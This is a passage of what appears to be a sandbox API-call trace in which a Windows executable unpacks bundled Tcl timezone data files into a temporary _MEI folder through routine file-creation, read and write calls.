lpLocalTime=0x4f8cf0) returned 1 [0042.214] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0042.214] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0042.214] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0042.214] CloseHandle (hObject=0x10c) returned 1 [0042.214] GetLastError () returned 0x0 [0042.214] SetLastError (dwErrCode=0x0) [0042.214] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata") returned 56 [0042.214] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0042.214] GetFileType (hFile=0x10c) returned 0x1 [0042.214] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0042.214] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0042.214] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0042.214] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0042.214] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0042.214] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0042.214] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0042.214] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0042.214] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0042.214] CloseHandle (hObject=0x10c) returned 1 [0042.214] GetLastError () returned 0x0 [0042.214] SetLastError (dwErrCode=0x0) [0042.214] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Etc") returned 60 [0042.214] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Etc" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\etc"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0042.214] GetFileType (hFile=0x10c) returned 0x1 [0042.215] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0042.215] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0042.215] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0042.215] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0042.215] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0042.215] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0042.215] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0042.215] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0042.215] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0042.215] CloseHandle (hObject=0x10c) returned 1 [0042.215] GetLastError () returned 0x0 [0042.215] SetLastError (dwErrCode=0x0) [0042.215] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Etc\\GMT0") returned 65 [0042.215] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Etc\\GMT0" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\etc\\gmt0"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0042.215] GetLastError () returned 0x2 [0042.215] SetLastError (dwErrCode=0x2) [0042.215] GetLastError () returned 0x2 [0042.215] SetLastError (dwErrCode=0x2) [0042.215] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Etc\\GMT0", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Etc\\GMT0", lpFilePart=0x0) returned 0x40 [0042.215] GetLastError () returned 0x2 [0042.215] SetLastError (dwErrCode=0x2) [0042.215] GetLastError () returned 0x2 [0042.215] SetLastError (dwErrCode=0x2) [0042.215] GetLastError () returned 0x2 [0042.215] SetLastError (dwErrCode=0x2) [0042.215] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Etc\\GMT0") returned 65 [0042.215] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0042.215] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Etc\\GMT0" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\etc\\gmt0"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0042.216] GetFileType (hFile=0x10c) returned 0x1 [0042.216] htonl (hostlong=0x99000000) returned 0x99 [0042.216] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0042.216] WriteFile (in: hFile=0x10c, lpBuffer=0x560088*, nNumberOfBytesToWrite=0x99, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesWritten=0x4fcd6c*=0x99, lpOverlapped=0x0) returned 1 [0042.217] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0042.217] CloseHandle (hObject=0x10c) returned 1 [0042.217] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0042.217] htonl (hostlong=0x30000000) returned 0x30 [0042.217] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0042.217] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0042.217] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0042.217] GetFileType (hFile=0x10c) returned 0x1 [0042.217] htonl (hostlong=0x6c25b00) returned 0x5bc206 [0042.217] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x607206, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0042.218] htonl (hostlong=0x85000000) returned 0x85 [0042.218] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x85) returned 0x55cfe0 [0042.218] htonl (hostlong=0x85000000) returned 0x85 [0042.218] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0042.218] ReadFile (in: hFile=0x10c, lpBuffer=0x560088, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0042.218] htonl (hostlong=0x9e000000) returned 0x9e [0042.218] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x9e) returned 0x550600 [0042.218] htonl (hostlong=0x85000000) returned 0x85 [0042.218] htonl (hostlong=0x9e000000) returned 0x9e [0042.218] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x561090 [0042.218] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0042.218] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55cfe0 | out: hHeap=0x530000) returned 1 [0042.218] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0042.218] CloseHandle (hObject=0x10c) returned 1 [0042.218] GetLastError () returned 0x0 [0042.218] SetLastError (dwErrCode=0x0) [0042.218] GetLastError () returned 0x0 [0042.218] SetLastError (dwErrCode=0x0) [0042.218] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0042.218] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0042.218] GetFileType (hFile=0x10c) returned 0x1 [0042.218] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0042.218] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0042.218] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0042.218] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0042.218] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0042.218] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0042.218] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0042.218] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0042.219] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0042.219] CloseHandle (hObject=0x10c) returned 1 [0042.219] GetLastError () returned 0x0 [0042.219] SetLastError (dwErrCode=0x0) [0042.219] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata") returned 56 [0042.219] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0042.219] GetFileType (hFile=0x10c) returned 0x1 [0042.219] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0042.219] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0042.219] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0042.219] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0042.219] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0042.219] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0042.219] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0042.219] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0042.219] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0042.219] CloseHandle (hObject=0x10c) returned 1 [0042.219] GetLastError () returned 0x0 [0042.219] SetLastError (dwErrCode=0x0) [0042.219] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Etc") returned 60 [0042.219] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Etc" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\etc"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0042.219] GetFileType (hFile=0x10c) returned 0x1 [0042.219] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0042.219] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0042.219] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0042.219] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0042.220] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0042.220] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0042.220] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0042.220] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0042.220] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0042.220] CloseHandle (hObject=0x10c) returned 1 [0042.220] GetLastError () returned 0x0 [0042.220] SetLastError (dwErrCode=0x0) [0042.220] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Etc\\Greenwich") returned 70 [0042.220] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Etc\\Greenwich" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\etc\\greenwich"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0042.220] GetLastError () returned 0x2 [0042.220] SetLastError (dwErrCode=0x2) [0042.220] GetLastError () returned 0x2 [0042.220] SetLastError (dwErrCode=0x2) [0042.220] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Etc\\Greenwich", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Etc\\Greenwich", lpFilePart=0x0) returned 0x45 [0042.220] GetLastError () returned 0x2 [0042.220] SetLastError (dwErrCode=0x2) [0042.220] GetLastError () returned 0x2 [0042.220] SetLastError (dwErrCode=0x2) [0042.220] GetLastError () returned 0x2 [0042.220] SetLastError (dwErrCode=0x2) [0042.220] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Etc\\Greenwich") returned 70 [0042.220] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0042.220] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Etc\\Greenwich" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\etc\\greenwich"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0042.221] GetFileType (hFile=0x10c) returned 0x1 [0042.221] htonl (hostlong=0x9e000000) returned 0x9e [0042.221] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0042.221] WriteFile (in: hFile=0x10c, lpBuffer=0x560088*, nNumberOfBytesToWrite=0x9e, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesWritten=0x4fcd6c*=0x9e, lpOverlapped=0x0) returned 1 [0042.222] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0042.222] CloseHandle (hObject=0x10c) returned 1 [0042.222] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0042.222] htonl (hostlong=0x30000000) returned 0x30 [0042.222] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0042.222] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0042.222] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0042.222] GetFileType (hFile=0x10c) returned 0x1 [0042.222] htonl (hostlong=0x8bc25b00) returned 0x5bc28b [0042.222] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x60728b, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0042.223] htonl (hostlong=0x6b000000) returned 0x6b [0042.223] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x6b) returned 0x55cfe0 [0042.223] htonl (hostlong=0x6b000000) returned 0x6b [0042.223] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0042.223] ReadFile (in: hFile=0x10c, lpBuffer=0x560088, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0042.223] htonl (hostlong=0x69000000) returned 0x69 [0042.223] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x69) returned 0x550600 [0042.223] htonl (hostlong=0x6b000000) returned 0x6b [0042.223] htonl (hostlong=0x69000000) returned 0x69 [0042.223] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x561090 [0042.223] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0042.223] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55cfe0 | out: hHeap=0x530000) returned 1 [0042.223] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0042.223] CloseHandle (hObject=0x10c) returned 1 [0042.223] GetLastError () returned 0x0 [0042.223] SetLastError (dwErrCode=0x0) [0042.223] GetLastError () returned 0x0 [0042.223] SetLastError (dwErrCode=0x0) [0042.223] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0042.223] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0042.223] GetFileType (hFile=0x10c) returned 0x1 [0042.223] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0042.223] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0042.223] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0042.223] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0042.223] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0042.223] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0042.223] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0042.224] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0042.224] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0042.224] CloseHandle (hObject=0x10c) returned 1 [0042.224] GetLastError () returned 0x0 [0042.224] SetLastError (dwErrCode=0x0) [0042.224] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata") returned 56 [0042.224] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0042.224] GetFileType (hFile=0x10c) returned 0x1 [0042.224] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: 